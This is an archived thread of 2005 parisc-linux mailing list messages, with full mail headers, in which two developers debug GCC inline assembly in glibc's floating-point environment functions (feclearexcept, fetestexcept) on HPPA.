Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 335777D6E3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 12:38:36 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DtrYS-0002MV-00; Sat, 16 Jul 2005 14:38:28 -0400
Content-Disposition: inline
In-Reply-To: <200507160154.j6G1sPI0006203@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YzGrYpIheSEkYL6WZHQhaXN1IGRvb4Cj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22923

On Fri, Jul 15, 2005 at 09:54:25PM -0400, John David Anglin wrote:
> > I think gcc is to blame, or the constraints in the assembly?
> > 
> > --- GCC 4.0 ---
> > 
> > 0x40349890 <feclearexcept+0>:   ldo 40(sp),sp
> > 0x40349894 <feclearexcept+4>:   ldo -38(sp),ret0
> > 0x40349898 <feclearexcept+8>:   stw r19,-20(,sp)
> > 0x4034989c <feclearexcept+12>:  fstd fr0,0(,ret0)
> > 0x403498a0 <feclearexcept+16>:  fldd 0(,ret0),fr0
> > 0x403498a4 <feclearexcept+20>:  ldi 0,ret0
> > 0x403498a8 <feclearexcept+24>:  bv r0(rp)
> > 0x403498ac <feclearexcept+28>:  ldo -40(sp),sp
> 
> PR time.  Please add danglin@gcc.gnu.org to the CC list.
> 
> > Notice that it thinks the argument is on the stack? Are the assembly
> > constraints confusing gcc?
> 
> Probably, but its not clear at the moment.  I think the asm's need
> the volatile keyword as they have side effects that aren't known to
> gcc (i.e., scheduling might move a floating point operation past
> the asm's should the functions be inlined.

I hadn't considered the effects of rescheduling. I guess this can happen
to any code between the asm statements.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 15:15:34 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200507161915.j6GJFYvc010458@hiauly1.hia.nrc.ca>
References: <20050716183827.GF5314@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623850 15643 80.91.229.3 (22 Nov 2014 02:37:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:30 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 19:15:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 16 Jul 2005 21:15:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E66287D6EF;
	Sat, 16 Jul 2005 13:15:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24443-06; Sat, 16 Jul 2005 13:15:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 53C1E7D6F0;
	Sat, 16 Jul 2005 13:15:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C21F87D6EE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:15:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24439-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:15:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 30A6F7D6ED
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:15:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6GJFYnV010459; Sat, 16 Jul 2005 15:15:35 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6GJFYvc010458;
	Sat, 16 Jul 2005 15:15:34 -0400 (EDT)
In-Reply-To: <20050716183827.GF5314@systemhalted.org> from "Carlos O'Donell"
	at Jul 16, 2005 02:38:28 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tzmrYvF5eSEkOr6WZHQhaXN1IGRvb8AL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22924

> I hadn't considered the effects of rescheduling. I guess this can happen
> to any code between the asm statements.

As long as the dependencies are correct, then then shouldn't happen.
Possibly, adding a dependency on register "CCFP" is what's needed.
I don't know if that actually works but it's how we handle floating-point
condition codes internally.  I think that would allow inlining of these
routines in code that does floating-point compares and tests.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 15:15:53 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20050716191553.GG5314@systemhalted.org>
References: <20050716161603.GE5314@systemhalted.org>
	<200507161737.j6GHboDo009866@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623850 15645 80.91.229.3 (22 Nov 2014 02:37:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:30 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 19:16:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 16 Jul 2005 21:16:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC5587D6FA;
	Sat, 16 Jul 2005 13:16:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24778-01; Sat, 16 Jul 2005 13:16:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5F647D6F6;
	Sat, 16 Jul 2005 13:16:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 03FDA7D6F3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:16:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24443-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:16:01 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 6ED227D6ED
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:16:01 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Dts8f-0002nF-00; Sat, 16 Jul 2005 15:15:53 -0400
Content-Disposition: inline
In-Reply-To: <200507161737.j6GHboDo009866@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rzmrYhtMeSEkSL6WZHQhaXN1IGRvb4Aw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22925

On Sat, Jul 16, 2005 at 01:37:50PM -0400, John David Anglin wrote:
> > Who previously executed the COPR,0,0?
> 
> I dunno, incorrect identify sequence?  I agree the 1.1 arch is specific
> about how to do an identify sequence.
 
There is no way to prevent this. An application can always shoot itself
in the foot.

And since the identify sequence should be written in assembly the
compiler can't schedule it around.

It should also be save to execute such a sequence at any point in the
insn stream.

> > I use the fldd to set the new cleared state of the status register.
> 
> I had been wondering if fstw and fldw could be used, but it's an
> undefined operation to set T with fldw and fstd clears T, so I believe
> your use of fstd and fldd is correct in this sequence.

I have to read this again to make sure I did it all right.

> However, you have to be careful in using fstd to get the fp status
> register as it clears T after the insn.

Yes, I might have some mistakes there.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 15:16:46 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20050716191646.GH5314@systemhalted.org>
References: <20050716183827.GF5314@systemhalted.org>
	<200507161915.j6GJFYvc010458@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623851 15649 80.91.229.3 (22 Nov 2014 02:37:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:31 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 19:17:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 16 Jul 2005 21:17:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA72D7D705;
	Sat, 16 Jul 2005 13:16:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24779-08; Sat, 16 Jul 2005 13:16:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CA587D701;
	Sat, 16 Jul 2005 13:16:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51AB07D6F3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:16:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24778-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:16:54 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id C48527D6EF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:16:54 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Dts9X-0002nl-00; Sat, 16 Jul 2005 15:16:47 -0400
Content-Disposition: inline
In-Reply-To: <200507161915.j6GJFYvc010458@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eTirYkAdeSEkUr6WZHQhaXN1IGRvb0Ag
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22926

On Sat, Jul 16, 2005 at 03:15:34PM -0400, John David Anglin wrote:
> > I hadn't considered the effects of rescheduling. I guess this can happen
> > to any code between the asm statements.
> 
> As long as the dependencies are correct, then then shouldn't happen.
> Possibly, adding a dependency on register "CCFP" is what's needed.
> I don't know if that actually works but it's how we handle floating-point
> condition codes internally.  I think that would allow inlining of these
> routines in code that does floating-point compares and tests.

What sort of dependancy on CCFP? Do you have an example somewhere?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 15:41:41 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20050716194141.GI5314@systemhalted.org>
References: <200507161737.j6GHboDo009866@hiauly1.hia.nrc.ca>
	<200507161754.j6GHsmB3010087@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623851 15651 80.91.229.3 (22 Nov 2014 02:37:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:31 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 19:41:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 16 Jul 2005 21:41:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47E227D707;
	Sat, 16 Jul 2005 13:41:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24950-04; Sat, 16 Jul 2005 13:41:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A71327D708;
	Sat, 16 Jul 2005 13:41:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A7C77D705
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:41:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24947-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:41:50 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 05BF07D704
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:41:50 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DtsXe-00031q-00; Sat, 16 Jul 2005 15:41:42 -0400
Content-Disposition: inline
In-Reply-To: <200507161754.j6GHsmB3010087@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UQarYiMieSEkYL6WZHQhaXN1IGRvb8BR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22927

On Sat, Jul 16, 2005 at 01:54:48PM -0400, John David Anglin wrote:
> > However, you have to be careful in using fstd to get the fp status
> > register as it clears T after the insn.
> 
> And, indeed the following is wrong for the above reason:
> 
> #include <fenv.h>
> 
> int
> fetestexcept (int excepts)
> {
>   unsigned int sw[2];
> 
>   /* Get the current status word. */
>   __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
> 
>   return (sw[0] >> 27) & excepts & FE_ALL_EXCEPT;
> }
> 
> You need to add a 'fldd' to the asm to restore the T bit.  Another
> option might be to use fstw to access the status register in this
> situation.

I'm going to test the use of fstw.

fegetexcept, fegetround also need this fix (maybe more).

There is another potential bug, I should make sure the fr0 restore is
always at the end too incase it rearms a trap.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Non-inline math, and inline math broken,
	GCC to blame? (1 hppa tls toolchain regression).
Date: Sat, 16 Jul 2005 15:48:10 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200507161948.j6GJmAvc010734@hiauly1.hia.nrc.ca>
References: <20050716191646.GH5314@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623851 15653 80.91.229.3 (22 Nov 2014 02:37:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:31 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 19:48:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 16 Jul 2005 21:48:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B49B07D70F;
	Sat, 16 Jul 2005 13:48:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24947-10; Sat, 16 Jul 2005 13:48:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F63D7D710;
	Sat, 16 Jul 2005 13:48:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3EE7D7D70C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:48:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24950-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:48:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9EDF07D707
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 13:48:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6GJmAnV010736; Sat, 16 Jul 2005 15:48:11 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6GJmAvc010734;
	Sat, 16 Jul 2005 15:48:10 -0400 (EDT)
In-Reply-To: <20050716191646.GH5314@systemhalted.org> from "Carlos O'Donell"
	at Jul 16, 2005 03:16:46 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
